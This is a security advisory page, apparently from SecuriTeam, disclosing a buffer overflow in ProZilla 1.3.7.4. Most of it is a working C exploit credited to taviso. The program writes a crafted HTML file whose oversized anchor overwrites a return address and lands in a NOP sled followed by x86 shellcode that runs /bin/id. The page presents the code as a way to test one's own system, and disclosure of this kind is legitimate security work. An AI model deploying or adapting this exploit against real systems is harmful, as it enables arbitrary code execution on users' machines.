SecuriTeam - ProZilla Buffer Overflow (Exploit)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

"ProZilla is a download accelerator for Linux which gives you a 200% to 300% improvement in your file downloading speeds. "

Prozilla does not validate length properly allowing attackers to cause the program to execute arbitrary code by overflowing an internal buffer, the following exploit code can be used to test your system for the mentioned vulnerability.

Credit:
The information has been provided by taviso.

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Vulnerable Systems:
* Prozilla version 1.3.7.4

Exploit:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define OVERFLOW (1<<10)+32
#define SLEDSIZ (1<<10)
#define RETADDR 0x806977a+SLEDSIZ/2
#define OUTPUT "AdvResults.asp"

/*
* prozilla bug, found while auditing for gentoo bug #70090
* -taviso@gentoo.org
*/

/* execve() /bin/id */
unsigned char shellcode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7e"
"\x02\xad\x8e\x83\xeb\xfc\xe2\xf4\x14\x09\xf5\x17\x2c\x64\xc5\xa3"
"\x1d\x8b\x4a\xe6\x51\x71\xc5\x8e\x16\x2d\xcf\xe7\x10\x8b\x4e\xdc"
"\x96\x0a\xad\x8e\x7e\x2d\xcf\xe7\x10\x2d\xc4\xea\x7e\x55\xfe\x07"
"\x9f\xcf\x2d\x8e";

int main(int argc, char **argv)
{
unsigned char *buf;
void *ret = (void *) RETADDR;
FILE *exploit;
int i;

exploit = fopen(OUTPUT, "w");
fprintf(exploit, "<PRE><A HREF=>");

buf = malloc(OVERFLOW);
for (i = 0; buf + i < buf + OVERFLOW; i += sizeof(void *))
memcpy(buf + i, &ret, sizeof(void *));
fwrite(buf, OVERFLOW, 1, exploit);
fprintf(exploit, "</A><A HREF=></A><A HREF=></A></PRE>");
buf = realloc(buf, SLEDSIZ + sizeof(shellcode));
memset(buf, 0x90, SLEDSIZ);
memcpy(buf + SLEDSIZ, shellcode, sizeof(shellcode));
fwrite(buf, SLEDSIZ + sizeof(shellcode), 1, exploit);
free(buf);
fprintf(stderr, "[*] %s created.\n", OUTPUT);
return 0;
}

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